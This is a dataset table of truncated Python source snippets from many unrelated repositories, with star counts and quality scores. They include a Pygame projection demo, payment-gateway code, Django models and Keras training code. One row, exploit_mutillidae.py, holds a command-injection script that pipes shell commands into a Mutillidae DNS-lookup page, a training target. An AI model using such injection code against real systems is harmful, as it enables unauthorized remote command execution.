max_stars_repo_path stringlengths 3 269 | max_stars_repo_name stringlengths 4 119 | max_stars_count int64 0 191k | id stringlengths 1 7 | content stringlengths 6 1.05M | score float64 0.23 5.13 | int_score int64 0 5 |
|---|---|---|---|---|---|---|
randconv/coordinator_factory.py | jm-begon/randconv | 1 | 22500 | <reponame>jm-begon/randconv
# -*- coding: utf-8 -*-
"""
A set of factory function to help create usual cases of coordinator
"""
__author__ = "<NAME> <<EMAIL>>"
__copyright__ = "3-clause BSD License"
__date__ = "20 January 2015"
import math
from .image import *
from .util import (OddUniformGenerator, NumberGenerator,... | 2.359375 | 2 |
projections.py | barrulik/3d-projections | 1 | 22501 | import pygame
import numpy as np
from math import *
import json
WHITE = (255, 255, 255)
BLACK = (0, 0, 0)
RAINBOW = (0, 0, 0)
rainbow = True
WIDTH, HEIGHT = 800, 600
#WIDTH, HEIGHT = 1600, 900
def drawLine(point1, point2, screen):
if rainbow:
pygame.draw.line(screen, RAINBOW, (point1[0], point1[1]), (po... | 3.078125 | 3 |
insert_data.py | Amantechcse/cricket-fantasy-game | 0 | 22502 | <reponame>Amantechcse/cricket-fantasy-game
import sqlite3
book=sqlite3.connect("bookstore.db")
curbook=book.cursor()
#curbook.execute('''create table books (book_id integer primary key autoincrement , book_name text(20), author text(20), price integer);''')
while True:
x=input("want to enter data yes/no: ")
i... | 3.734375 | 4 |
api/config/h5Template/tanmuContent.py | jimbunny/wedding-invitation | 0 | 22503 | tanmuContent = '''
<style>
.barrage-input-tip {
z-index: 1999;
position: absolute;
left: 10px;
width: 179.883px;
height: 35.7422px;
line-height: 35.7422px;
border-radius: 35.7422px;
box-sizing: border-box;
color: rgb(255, 255, 255);
... | 1.9375 | 2 |
example/example2.py | xrloong/xrSolver | 0 | 22504 | from xrsolver import Problem
import solver
# This example is the second case from https://www.youtube.com/watch?v=WJEZh7GWHnw
s = solver.Solver()
p = Problem()
x1 = p.generateVariable("x1", lb=0, ub=3)
x2 = p.generateVariable("x2", lb=0, ub=3)
x3 = p.generateVariable("x3", lb=0, ub=3)
x4 = p.generateVariable("x4",... | 3.140625 | 3 |
src/ipyradiant/visualization/explore/interactive_exploration.py | lnijhawan/ipyradiant | 0 | 22505 | <reponame>lnijhawan/ipyradiant
# Copyright (c) 2021 ipyradiant contributors.
# Distributed under the terms of the Modified BSD License.
from typing import Union
import ipycytoscape as cyto
import ipywidgets as W
import rdflib
import traitlets as trt
from ipyradiant.query.api import SPARQLQueryFramer
from ipyradiant.... | 1.742188 | 2 |
src/main/serialization/codec/object/collectionCodec.py | typingtanuki/pyserialization | 0 | 22506 | <reponame>typingtanuki/pyserialization
from typing import List, TypeVar
from src.main.serialization.codec.codec import Codec
from src.main.serialization.codec.codecCache import CodecCache
from src.main.serialization.codec.object.noneCodec import NoneCodec
from src.main.serialization.codec.utils.byteIo import ByteIo
fr... | 2.40625 | 2 |
pyatv/__init__.py | acheronfail/pyatv | 0 | 22507 | """Main routines for interacting with an Apple TV."""
import asyncio
import datetime # noqa
from ipaddress import IPv4Address
from typing import List
import aiohttp
from pyatv import conf, exceptions, interface
from pyatv.airplay import AirPlayStreamAPI
from pyatv.const import Protocol
from pyatv.dmap import DmapAp... | 2.59375 | 3 |
demessifyme/file_read_write.py | lilianluong/demessifyme | 0 | 22508 | import glob
import os
from doc2vec import read_file, embed_document
def get_file_embeddings():
# Returns a list of names in list files.
txt_files = glob.glob('**/*.txt', recursive=True)
pdf_files = glob.glob('**/*.pdf', recursive=True)
docx_files = glob.glob('**/*.docx', recursive=True)
file_names... | 2.9375 | 3 |
util/third_party/tensorflow_extra/tool/tflite/tflite.py | bojanpotocnik/gecko_sdk | 82 | 22509 | #!/usr/bin/env python3
import sys
import os
import argparse
from string import Template
import re
# Patch site-packages to find numpy
import jinja2
if sys.platform.startswith("win"):
site_packages_path = os.path.abspath(os.path.join(os.path.dirname(jinja2.__file__), "../../../ext-site-packages"))
else:
site_packa... | 2.0625 | 2 |
braintree/transparent_redirect_gateway.py | eldarion/braintree_python | 3 | 22510 | <filename>braintree/transparent_redirect_gateway.py
import cgi
from datetime import datetime
import urllib
import braintree
from braintree.util.crypto import Crypto
from braintree.error_result import ErrorResult
from braintree.exceptions.forged_query_string_error import ForgedQueryStringError
from braintree.util.http i... | 2.5625 | 3 |
paint/migrations/0007_auto_20200405_1748.py | atulk17/Paint-App | 0 | 22511 | <reponame>atulk17/Paint-App
# Generated by Django 3.0.4 on 2020-04-05 12:18
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('paint', '0006_auto_20200405_1746'),
]
operations = [
migrations.AlterModelTable(
name='office_e... | 1.328125 | 1 |
app.py | ManarAbdelkarim/-hr-managmentSystem | 0 | 22512 | from flask import Flask
app = Flask(__name__,static_folder='../static') | 1.578125 | 2 |
esprit/models.py | Ken125pig/esprit | 0 | 22513 | <gh_stars>0
from copy import deepcopy
import string
from esprit import versions
unicode_punctuation_map = dict((ord(char), None) for char in string.punctuation)
class Query(object):
def __init__(self, raw=None):
self.q = QueryBuilder.match_all() if raw is None else raw
if "query" not in self.q:
... | 2.59375 | 3 |
src/focus/api.py | RogerRueegg/lvw-young-talents | 1 | 22514 | from . import models
from . import serializers
from rest_framework import viewsets, permissions
class CompetitionViewSet(viewsets.ModelViewSet):
"""ViewSet for the Competition class"""
queryset = models.Competition.objects.all()
serializer_class = serializers.CompetitionSerializer
permission_classes ... | 2.1875 | 2 |
algorithms/array/majority_element.py | kevinshenyang07/Data-Structure-and-Algo | 0 | 22515 | <filename>algorithms/array/majority_element.py
# Moore Voting
# Majority Element
# Given an array of size n, find the majority element.
# The majority element is the element that appears more than ⌊ n/2 ⌋ times.
# assume at leat one element
class Solution(object):
def majorityElement(self, nums):
count, ma... | 4.03125 | 4 |
modules/dashboard/question_editor.py | danieldanciu/schoggi | 0 | 22516 | <filename>modules/dashboard/question_editor.py
# Copyright 2013 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENS... | 2.171875 | 2 |
clayful/__init__.py | Clayful/clayful-python | 0 | 22517 | import re
import urllib
import numbers
from clayful.models import register_models
from clayful.requester import request
from clayful.exception import ClayfulException
class Clayful:
base_url = 'https://api.clayful.io'
default_headers = {
'Accept-Encoding': 'gzip',
'User-Agent': 'clayful-python',
'Clayfu... | 2.375 | 2 |
racecar_gym/envs/scenarios.py | luigiberducci/racecar_gym | 16 | 22518 | from dataclasses import dataclass
from typing import Dict
from racecar_gym.bullet import load_world, load_vehicle
from racecar_gym.tasks import Task, get_task
from racecar_gym.core import World, Agent
from .specs import ScenarioSpec, TaskSpec
def task_from_spec(spec: TaskSpec) -> Task:
task = get_task(spec.task_n... | 2.625 | 3 |
vkts/real.py | smurphik/vkts | 0 | 22519 | <filename>vkts/real.py
#! /usr/bin/env python3
"""Implementation of the main functions of the application: editing user data,
thematic search, other console commands"""
import sys
import re
from collections import Counter
from .report import Report
from . import vklib as vk
from .vklib import apply_vk_method
from .us... | 2.890625 | 3 |
sample_facemesh.py | swipswaps/mediapipe-python | 92 | 22520 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import copy
import argparse
import cv2 as cv
import numpy as np
import mediapipe as mp
from utils import CvFpsCalc
def get_args():
parser = argparse.ArgumentParser()
parser.add_argument("--device", type=int, default=0)
parser.add_argument("--width", help='c... | 2.65625 | 3 |
andromeda/modules/loans/views/inventory_loans.py | sango09/andromeda_api_rest | 1 | 22521 | """Vista del inventario del modulo de prestamos tecnologicos."""
# Django REST Framework
from rest_framework import viewsets, mixins
# Permisos
from rest_framework.permissions import IsAuthenticated
from andromeda.modules.inventory.permissions import IsAdmin, IsStaff
# Modelos
from andromeda.modules.loans.models imp... | 2.21875 | 2 |
N-Gram/PlotUtils.py | FindTheTruth/Natural-Language-Processing | 1 | 22522 | import matplotlib.pyplot as plt
x = ["N=1", "N=2", "N=3", "N=4", "N=5","N=6"]
y = [0.9365, 0.9865, 0.9895, 0.9950,0.9880,0.9615]
rects = plt.barh(x, y, color=["red", "blue", "purple", "violet", "green", "black"])
for rect in rects: # rects 是三根柱子的集合
width = rect.get_width()
print(width)
plt.text(width, rec... | 3.21875 | 3 |
tests/test_logger.py | sp-95/python-template | 0 | 22523 | <reponame>sp-95/python-template
from _pytest.logging import LogCaptureFixture
from loguru import logger
def test_log_configuration(caplog: LogCaptureFixture) -> None:
message = "Test message"
logger.info(message)
assert message in caplog.text
| 1.914063 | 2 |
Semana 09/fase.py | heltonricardo/grupo-estudos-maratonas-programacao | 0 | 22524 | n, k, v = int(input()), int(input()), []
for i in range(n): v.append(int(input()))
v = sorted(v, reverse=True)
print(k + v[k:].count(v[k-1]))
| 2.859375 | 3 |
02_crowsnest/ragz_crowsnest.py | zrucker/tiny_python_projects | 0 | 22525 | <filename>02_crowsnest/ragz_crowsnest.py
#!/usr/bin/env python3
"""
Date : 2021-09-06
Purpose: learning to work with strings
"""
import argparse
# --------------------------------------------------
def get_args():
"""Get command-line arguments"""
parser = argparse.ArgumentParser(
description='Crow... | 3.84375 | 4 |
lvsfunc/render.py | End-of-Eternity/lvsfunc | 0 | 22526 | """
Clip rendering helpers.
"""
import vapoursynth as vs
from enum import Enum
from threading import Condition
from typing import BinaryIO, Callable, Dict, List, Optional, TextIO, Union
from concurrent.futures import Future
from functools import partial
from .progress import Progress, BarColumn, FPSColumn, TextColumn... | 2.234375 | 2 |
geekjobs/forms.py | paconte/geekjobs | 0 | 22527 | from django import forms
from django.utils.translation import ugettext_lazy as _
from geekjobs.models import Job
"""
class JobForm(forms.Form):
title = forms.CharField(label='Job title', max_length=380)
city = forms.CharField(label='City', max_length=100, required=False)
state = forms.ChoiceField(label='St... | 2.328125 | 2 |
solutions/day3/solution.py | JavierLuna/advent-of-code-2020 | 1 | 22528 | <reponame>JavierLuna/advent-of-code-2020
import math
from typing import Tuple, Set
from solutions.runner.base_solution import BaseSolution
from solutions.runner.readers.base_reader import BaseReader
TREE = "#"
class Day3Reader(BaseReader):
@staticmethod
def transform_raw_line(line: str):
line = li... | 3.46875 | 3 |
lib/core_tools/tools.py | rocketcapital-ai/competition_submission | 1 | 22529 | <gh_stars>1-10
import base58
import datetime
import json
import os
import pandas as pd
import requests
import shutil
import time
import web3
import yaml
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from decimal import Decimal
from typing import An... | 2.09375 | 2 |
my_loc/__init__.py | PIYUSH-GEEK/my_loc | 1 | 22530 | <gh_stars>1-10
import requests
from bs4 import BeautifulSoup
def locate(i):
my_loc = requests.get('https://ipinfo.io').json()
if str(i).isdigit():
return 'Invalid input. Try a string.'
else:
if i == 'ip':
return my_loc['ip']
elif i == 'city' or i == 'capital':
return my_loc['city']
elif i == 'region... | 3.125 | 3 |
Python3/03_Longest_Substring_Without_Repeating_Characters.py | yangjiahao106/LeetCode | 1 | 22531 | <filename>Python3/03_Longest_Substring_Without_Repeating_Characters.py<gh_stars>1-10
#! python3
# __author__ = "YangJiaHao"
# date: 2018/1/26
class Solution:
def lengthOfLongestSubstring(self, s: str) -> int:
d = dict()
l, r = 0, 0
res = 0
while r < len(s):
if s[r] not i... | 3.5 | 4 |
youwol/backends/cdn/resources_initialization.py | youwol/py-youwol | 0 | 22532 | import asyncio
import os
from youwol_utils import WhereClause, QueryBody, Query, Path, flatten
from .configurations import Configuration
from .utils import format_download_form, post_storage_by_chunk, md5_from_folder
from .utils_indexing import format_doc_db_record, post_indexes, get_version_number_str
async def in... | 2.109375 | 2 |
Python32/hackeandoface3.py | andersonsilvade/python_C | 0 | 22533 | <reponame>andersonsilvade/python_C<gh_stars>0
import urllib.request
import json
url = 'http://graph.facebook.com/fmasanori'
resp = urllib.request.urlopen(url).read()
data = json.loads(resp.decode('utf-8'))
print(data)
| 2.765625 | 3 |
oasislmf/cli/admin.py | fl-ndaq/OasisLMF | 88 | 22534 | __all__ = [
'AdminCmd',
'CreateComplexModelCmd',
'CreateSimpleModelCmd',
'EnableBashCompleteCmd',
]
from argparse import RawDescriptionHelpFormatter
from .command import OasisBaseCommand, OasisComputationCommand
class EnableBashCompleteCmd(OasisComputationCommand):
"""
Adds required command ... | 2.328125 | 2 |
examples/spend_non_std_tx.py | kanzure/python-bitcoin-utils | 0 | 22535 | <reponame>kanzure/python-bitcoin-utils
# Copyright (C) 2018 The python-bitcoin-utils developers
#
# This file is part of python-bitcoin-utils
#
# It is subject to the license terms in the LICENSE file found in the top-level
# directory of this distribution.
#
# No part of python-bitcoin-utils, including this file, may ... | 1.984375 | 2 |
src/nutman_field_names.py | hudsonburgess/nutcracker | 0 | 22536 | <reponame>hudsonburgess/nutcracker
def get_field_name_from_line(line):
return line.split(':')[1].strip()
def remove_description(line):
if '-' in line:
return line.split('-')[0].strip()
else:
return line
def split_multiple_field_names(line):
if ',' in line:
field_names = line.sp... | 3.375 | 3 |
setup.py | algerbrex/plex | 2 | 22537 | from distutils.core import setup
setup(
name='plex',
version='0.1.0',
author='<NAME>',
author_email='<EMAIL>',
packages=['plex'],
license='MIT',
platforms='any',
description='Generic, lighweight regex based lexer.',
long_description=open('README.md').read(),
)
| 1.023438 | 1 |
kwikposts/admin.py | Vicynet/kwiktalk | 0 | 22538 | from django.contrib import admin
from .models import KwikPost, Comment, Like
# Register your models here.
@admin.register(KwikPost)
class KwikPostAdmin(admin.ModelAdmin):
list_display = ['user', 'featured_image', 'slug', 'post_body', 'created_at']
list_filter = ['created_at']
prepopulated_fields = {'slug... | 2.03125 | 2 |
solvebio/resource/solveobject.py | PolinaBevad/solvebio-python | 14 | 22539 | <reponame>PolinaBevad/solvebio-python
# -*- coding: utf-8 -*-
from __future__ import absolute_import
import six
import sys
from ..client import client
from .util import json
def convert_to_solve_object(resp, **kwargs):
from . import types
_client = kwargs.pop('client', None)
if isinstance(resp, list):... | 2.21875 | 2 |
convert.py | Resist4263/span-aste-1 | 0 | 22540 | <filename>convert.py<gh_stars>0
from gensim.scripts.glove2word2vec import glove2word2vec
(count, dimensions) = glove2word2vec("dataset/glove.42B.300d.txt", "dataset/cropus/42B_w2v.txt") | 1.765625 | 2 |
src/pcbLibraryManager/libraries/librarySwitches.py | NiceCircuits/pcbLibraryManager | 0 | 22541 | # -*- coding: utf-8 -*-
"""
Created on Sun Jul 19 22:17:33 2015
@author: piotr at nicecircuits.com
"""
from libraryManager.library import libraryClass
from footprints.footprintSmdDualRow import footprintSmdDualRow
from libraryManager.part import part
from libraryManager.symbol import symbol
from libraryManager.symbol... | 2.125 | 2 |
Codeforces/problems/0799/A/799A.py | object-oriented-human/competitive | 2 | 22542 | <reponame>object-oriented-human/competitive
import math
n, t, k, d = map(int, input().split())
x = math.ceil(n/k) * t
if (d + t) < x:
print("YES")
else:
print("NO") | 3.015625 | 3 |
model.py | ganeshpc/flower-classification | 0 | 22543 | import keras
from keras import layers
from keras.layers import Dropout, Dense
from keras.preprocessing.image import ImageDataGenerator
import numpy as np
import tensorflow_hub as hub
import cv2
import pandas as p
IMAGE_SHAPE = (224, 224) #(HEIGHT, WIDTH)
TRAINING_DATA_DIRECTORY = '/content/drive/My Drive/Colab ... | 2.875 | 3 |
psg_utils/io/header/header_standardizers.py | perslev/sleep-utils | 1 | 22544 | """
A set of functions for extracting header information from PSG objects
Typically only used internally in from unet.io.header.header_extractors
Each function takes some PSG or header-like object and returns a dictionary with at least
the following keys:
{
'n_channels': int,
'channel_names': list of strings,... | 3.140625 | 3 |
py/hover/cfg.py | HomeSmartMesh/raspi | 16 | 22545 | import sys,os
import json
import logging as log
import socket
from collections import OrderedDict
import datetime
from platform import system as system_name # Returns the system/OS name
from subprocess import call as system_call # Execute a shell command
def ping(host):
"""
Returns True if host (str) re... | 3.078125 | 3 |
guillotina/schema/tests/test__bootstrapfields.py | diefenbach/guillotina | 0 | 22546 | <reponame>diefenbach/guillotina
##############################################################################
#
# Copyright (c) 2012 Zope Foundation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompa... | 2.125 | 2 |
project.py | pedroalvesfilho/rest_flask_render0 | 0 | 22547 | <reponame>pedroalvesfilho/rest_flask_render0
#!/usr/bin/env python
from flask import Flask
from flask import render_template, request
app = Flask(__name__)
"""
# https://www.pluralsight.com/guides/manipulating-lists-dictionaries-python
# A list is a mutable, ordered sequence of items.
# list = ['a', 'b', 'c']
# list... | 3.890625 | 4 |
tests/bugs/core_1894_test.py | FirebirdSQL/firebird-qa | 1 | 22548 | <reponame>FirebirdSQL/firebird-qa
#coding:utf-8
#
# id: bugs.core_1894
# title: Circular dependencies between computed fields crashs the engine
# decription:
# Checked on LI-T4.0.0.419 after commit 19.10.2016 18:26
# https://github.com/FirebirdSQL/firebird/commit/6a... | 1.179688 | 1 |
lib/pykdlib/modules.py | bin601/pkyd | 1 | 22549 |
#
# Modules Info
#
import pykd
moduleList = []
def reloadModules():
global moduleList
for m in moduleList: globals()[ m.name().lower() ] = None
if pykd.isKernelDebugging():
global nt
nt = pykd.loadModule("nt")
modules = pykd.typedV... | 2.140625 | 2 |
compiled/construct/repeat_eos_u4.py | smarek/ci_targets | 4 | 22550 | <filename>compiled/construct/repeat_eos_u4.py
from construct import *
from construct.lib import *
repeat_eos_u4 = Struct(
'numbers' / GreedyRange(Int32ul),
)
_schema = repeat_eos_u4
| 1.328125 | 1 |
Python/simpleencrypt/aes256.py | shreyasnayak/SimpleEncrypt | 0 | 22551 | <filename>Python/simpleencrypt/aes256.py
# -*- coding: utf-8 -*-
# aes256.py
# This file is part of SimpleEncrypt project (https://github.com/shreyasnayak/SimpleEncrypt)
#
# Copyright <NAME> (c) 2021-2022 <<EMAIL>>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and a... | 2.234375 | 2 |
tests/widgets/test_error_dialog.py | sisoe24/NukeServerSocket | 12 | 22552 | """Test module for the Error dialog widget."""
import os
import logging
import pytest
from PySide2.QtGui import QClipboard
from src.widgets import error_dialog
from src.about import about_to_string
@pytest.fixture()
def error_log_path(_package):
"""Get the log directory path."""
yield os.path.join(_package... | 2.671875 | 3 |
DataStructure/Table/HashTable.py | zhangsifan/ClassicAlgorighthms | 27 | 22553 | # -*- coding: utf-8 -*-#
'''
@Project : ClassicAlgorighthms
@File : HashTable.py
@USER : ZZZZZ
@TIME : 2021/4/25 18:25
'''
class Node():
'''
链地址法解决冲突的结点
'''
def __init__(self, value = None, next = None):
self.val = value
self.next = next
class HashTable():
... | 3.0625 | 3 |
ossdbtoolsservice/query/batch.py | DaeunYim/pgtoolsservice | 33 | 22554 | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------... | 1.804688 | 2 |
seqlib.py | rvenkatesh99/sequence_alignment | 0 | 22555 | <filename>seqlib.py
import gzip
def read_fasta(filename):
name = None
seqs = []
fp = None
if filename.endswith('.gz'):
fp = gzip.open(filename, 'rt')
else:
fp = open(filename)
for line in fp.readlines():
line = line.rstrip()
if line.startswith('>'):
if len(seqs) > 0:
seq = ''.join(seqs)
yie... | 3.046875 | 3 |
train.py | adamian98/LabelNoiseFlatMinimizers | 7 | 22556 | <reponame>adamian98/LabelNoiseFlatMinimizers<gh_stars>1-10
import torch
from pytorch_lightning import Trainer, seed_everything
from pytorch_lightning.loggers import WandbLogger
from pytorch_lightning.callbacks import LearningRateMonitor
from data import CIFAR10Data
from module import CIFAR10Module
from callbacks impor... | 2.1875 | 2 |
test/lda/createGraphFeatures.py | bekou/graph-topic-model | 6 | 22557 | <reponame>bekou/graph-topic-model
import networkx as nx
import string
import numpy as np
import math
def degree_centrality(G):
centrality={}
s=1.0
centrality=dict((n,d*s) for n,d in G.degree_iter())
return centrality
def in_degree_centrality(G):
if not G.is_directed():
raise nx.Network... | 2.921875 | 3 |
blocks/bricks/sequence_generators.py | KIKOcaoyue/blocks | 1,067 | 22558 | """Sequence generation framework.
Recurrent networks are often used to generate/model sequences.
Examples include language modelling, machine translation, handwriting
synthesis, etc.. A typical pattern in this context is that
sequence elements are generated one often another, and every generated
element is fed back in... | 3.40625 | 3 |
src/plotComponents2D.py | ElsevierSoftwareX/SOFTX-D-21-00108 | 0 | 22559 | <filename>src/plotComponents2D.py
import matplotlib.pyplot as plt
import numpy as np
def plotComponents2D(X, y, labels, use_markers = False, ax=None, legends = None, tags = None):
if X.shape[1] < 2:
print('ERROR: X MUST HAVE AT LEAST 2 FEATURES/COLUMNS! SKIPPING plotComponents2D().')
return
... | 3.125 | 3 |
bin/sa_haveibeenpwned/aob_py3/cloudconnectlib/splunktacollectorlib/data_collection/ta_data_collector.py | hRun/SA-haveibeenpwned | 2 | 22560 | <gh_stars>1-10
#!/usr/bin/python
from __future__ import absolute_import
from builtins import object
import threading
import time
from collections import namedtuple
from . import ta_consts as c
from ..common import log as stulog
from ...splunktalib.common import util as scu
evt_fmt = ("<stream><event><host>... | 1.976563 | 2 |
basic_assignment/32.py | 1212091/python-learning | 0 | 22561 | <filename>basic_assignment/32.py
class Circle:
def __init__(self, radius):
self.radius = radius
def compute_area(self):
return self.radius ** 2 * 3.14
circle = Circle(2)
print("Area of circuit: " + str(circle.compute_area()))
| 3.90625 | 4 |
415.py | RafaelHuang87/Leet-Code-Practice | 0 | 22562 | class Solution:
def addStrings(self, num1: str, num2: str) -> str:
i, j, result, carry = len(num1) - 1, len(num2) - 1, '', 0
while i >= 0 or j >= 0:
if i >= 0:
carry += ord(num1[i]) - ord('0')
if j >= 0:
carry += ord(num2[j]) - ord('0')
... | 3.078125 | 3 |
lambdata-mkhalil/my_script.py | mkhalil7625/lambdata-mkhalil | 0 | 22563 | import pandas as pd
from my_mod import enlarge
print("Hello!")
df = pd.DataFrame({"a":[1,2,3], "b":[4,5,6]})
print(df.head())
x = 11
print(enlarge(x)) | 3.78125 | 4 |
exploit_mutillidae.py | binarioGH/minihacktools | 0 | 22564 | #-*-coding: utf-8-*-
from requests import session
from bs4 import BeautifulSoup
#Aqui pones la ip de tu maquina.
host = "192.168.1.167"
#Aqui pones la ruta de el dns-lookup.php
route = "/mutillidae/index.php?page=dns-lookup.php"
with session() as s:
cmd = ''
while cmd != 'exit':
cmd = input(">>")
payload = "|... | 2.90625 | 3 |
submissions/abc085/a.py | m-star18/atcoder | 1 | 22565 | <gh_stars>1-10
# sys.stdin.readline()
import sys
input = sys.stdin.readline
print(input().replace('2017', '2018'))
| 2.75 | 3 |
rsmtool/utils/files.py | MarcoGorelli/rsmtool | 0 | 22566 | """
Utility classes and functions for RSMTool file management.
:author: <NAME> (<EMAIL>)
:author: <NAME> (<EMAIL>)
:author: <NAME> (<EMAIL>)
:organization: ETS
"""
import json
import re
from glob import glob
from pathlib import Path
from os.path import join
from .constants import POSSIBLE_EXTENSIONS
def parse_js... | 3.09375 | 3 |
src/aiotube/playlist.py | jnsougata/AioTube | 4 | 22567 | <filename>src/aiotube/playlist.py
from ._threads import _Thread
from .utils import filter
from .videobulk import _VideoBulk
from ._http import _get_playlist_data
from ._rgxs import _PlaylistPatterns as rgx
from typing import List, Optional, Dict, Any
class Playlist:
__HEAD = 'https://www.youtube.com/playlist?lis... | 2.921875 | 3 |
actions/sleep.py | bhaveshAn/Lucy | 1 | 22568 | import random
def go_to_sleep(text):
replies = ['See you later!', 'Just call my name and I\'ll be there!']
return (random.choice(replies))
quit()
| 2.703125 | 3 |
django_sso_app/core/api/utils.py | paiuolo/django-sso-app | 1 | 22569 | import logging
from django.contrib.messages import get_messages
from django.utils.encoding import force_str
logger = logging.getLogger('django_sso_app')
def get_request_messages_string(request):
"""
Serializes django messages
:param request:
:return:
"""
storage = get_messages(request)
... | 2.28125 | 2 |
download_stock_data.py | dabideee13/Price-Pattern-Prediction | 0 | 22570 | <filename>download_stock_data.py
#!/opt/anaconda3/bin/python
# -*- coding: utf-8 -*-
"""
Get Stock Data
"""
import time
import pandas as pd
import yfinance as yf
if __name__ == '__main__':
# Path to file
# TODO: make directory if directory doesn't exist
f_file = "/Users/d.e.magno/Datasets/raw_stoc... | 3.21875 | 3 |
_int_tools.py | CaptainSora/Python-Project-Euler | 0 | 22571 | """
This module contains functions related to integer formatting and math.
"""
from functools import reduce
from itertools import count
from math import gcd, prod
# ================ ARRAY FORMATTING FUNCTIONS ================
def str_array_to_int(intarray):
return int(''.join(intarray))
def int_array_to_int(i... | 3.6875 | 4 |
source/stats/lstm_model_builder.py | dangtunguyen/nids | 2 | 22572 | <filename>source/stats/lstm_model_builder.py
#!/usr/bin/env python
from keras.models import Sequential
from keras.layers import Dense, Activation, Dropout, TimeDistributed, Flatten
from keras.layers import LSTM
'''
Reference: https://keras.io/getting-started/sequential-model-guide/
A stateful recurrent model is one f... | 3.515625 | 4 |
pyinstagram/base.py | alessandrocucci/PyInstagram | 1 | 22573 | # -*- coding: utf-8 -*-
import random
from datetime import datetime
from operator import itemgetter
import requests
import time
from pyinstagram.model import Media
from .exceptions import OAuthException, PyInstagramException
from .oauth import OAuth
from .constants import API_URL
from .utils import DESAdapter
class... | 2.703125 | 3 |
csv_readers/stay_points_csv_reader.py | s0lver/stm-creator | 0 | 22574 | <gh_stars>0
import csv
from typing import List, Iterator, Dict
from entities.StayPoint import StayPoint
def read(file_path: str) -> List[StayPoint]:
"""
Returns a list of StayPoint read from the specified file path
:param file_path: The path of file to read
:return: A list of StayPoint
"""
fi... | 3.65625 | 4 |
login/models.py | zcw576020095/netsysyconfig_platform | 1 | 22575 | <reponame>zcw576020095/netsysyconfig_platform<gh_stars>1-10
from django.db import models
# Create your models here.
class User(models.Model):
gender = (
('male',"男"),
('female',"女")
)
name = models.CharField(max_length=128,unique=True)
password = models.CharField(max_length=256)
e... | 2.109375 | 2 |
DataAnalysis.py | andairka/Simple-default-Backpropagation-ANN | 0 | 22576 | import ImportTitanicData
import DataPreparation
# analiza danych przed preparacją danych
class DataAnaliysisBefore():
def showTrain(self):
importData = ImportTitanicData.DataImport()
train = importData.importTrain()
return train
def shapeTrain(self):
return self.showTrain().sha... | 2.765625 | 3 |
tests/api/test_predict.py | mldock/mldock | 2 | 22577 | """Test Predict API calls"""
import io
from PIL import Image
from dataclasses import dataclass
import tempfile
from pathlib import Path
import pytest
from mock import patch
from mldock.api.predict import send_image_jpeg, send_csv, send_json, handle_prediction
import responses
import requests
@pytest.fixture
def image... | 2.515625 | 3 |
neutron/tests/tempest/api/test_qos_negative.py | mail2nsrajesh/neutron | 0 | 22578 | # Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# d... | 1.4375 | 1 |
src/main/python/storytext/lib/storytext/javageftoolkit/__init__.py | emilybache/texttest-runner | 0 | 22579 |
""" Don't load any Eclipse stuff at global scope, needs to be importable previous to Eclipse starting """
from storytext import javarcptoolkit
import sys
class ScriptEngine(javarcptoolkit.ScriptEngine):
def createReplayer(self, universalLogging=False, **kw):
return UseCaseReplayer(self.uiMap, universalLo... | 1.8125 | 2 |
subscribe/models.py | jonge-democraten/dyonisos | 0 | 22580 | # -*- coding: utf-8 -*-
# Copyright (c) 2011,2014 <NAME> <<EMAIL>>
#
# Permission to use, copy, modify, and/or distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS I... | 1.914063 | 2 |
vumi/worker.py | hnec-vr/vumi | 1 | 22581 | # -*- test-case-name: vumi.tests.test_worker -*-
"""Basic tools for workers that handle TransportMessages."""
import time
import os
import socket
from twisted.internet.defer import (
inlineCallbacks, succeed, maybeDeferred, gatherResults)
from twisted.python import log
from vumi.service import Worker
from vumi.... | 2.109375 | 2 |
tt/ksl/setup.py | aiboyko/ttpy | 2 | 22582 | # setup.py
# This script will build the main subpackages
# See LICENSE for details
from __future__ import print_function, absolute_import
from numpy.distutils.misc_util import Configuration
from os.path import join
TTFORT_DIR = '../tt-fort'
EXPM_DIR = '../tt-fort/expm'
EXPOKIT_SRC = [
'explib.f90',
'n... | 1.742188 | 2 |
tests/text_processors/test_json_text_processor.py | lyteloli/NekoGram | 8 | 22583 | from NekoGram import Neko, Bot
import json
def test_json_text_processor():
neko = Neko(bot=Bot(token='0:0', validate_token=False), validate_text_names=False)
raw_json = '{"x": {"text": "hello"} }'
neko.add_texts(texts=raw_json, lang='en')
assert neko.texts['en'] == json.loads(raw_json)
| 2.65625 | 3 |
itdagene/app/meetings/migrations/0001_initial.py | itdagene-ntnu/itdagene | 9 | 22584 | <filename>itdagene/app/meetings/migrations/0001_initial.py<gh_stars>1-10
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [migrations.swappable_dependency(settings.AUTH_USER_MODEL)]
operat... | 1.859375 | 2 |
models/mail.py | Huy-Ngo/temp-mail | 3 | 22585 | <filename>models/mail.py
# Copyright (c) 2020 <NAME>
from db import db
class MailModel(db.Model):
"""Model for representing and storing mails."""
id = db.Column(db.Integer, primary_key=True)
sender = db.Column(db.String(254))
recipient = db.Column(db.String(254),
db.Foreig... | 3.078125 | 3 |
jesse/indicators/bollinger_bands.py | leaiannotti/jesse | 5 | 22586 | from collections import namedtuple
import numpy as np
import talib
from jesse.indicators.ma import ma
from jesse.indicators.mean_ad import mean_ad
from jesse.indicators.median_ad import median_ad
from jesse.helpers import get_candle_source, slice_candles
BollingerBands = namedtuple('BollingerBands', ['upperband', 'm... | 2.53125 | 3 |
